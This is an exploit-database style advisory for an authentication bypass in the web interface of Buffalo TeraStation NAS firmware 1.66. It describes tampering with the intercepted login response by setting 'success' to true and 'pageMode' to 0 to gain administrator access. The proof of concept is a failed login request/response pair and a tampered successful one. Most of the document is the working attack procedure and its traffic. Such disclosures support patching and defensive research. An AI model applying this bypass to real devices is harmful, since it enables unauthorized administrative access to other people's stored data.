Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass

# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
# Date: 2022-08-11
# Exploit Author: JORDAN GLOVER
# Type: WEBAPPS
# Platform: HARDWARE
# Vendor Homepage: https://www.buffalotech.com/
# Model: TeraStation Series
# Firmware Version: 1.66
# Tested on: Windows 10 


An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.

The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.

Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.

If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.


POC #1 Authentication Failure

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan


Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}

Incorrect Username or Password 



POC #2 Authentication Success

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan


Intercepted Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}

Login Successful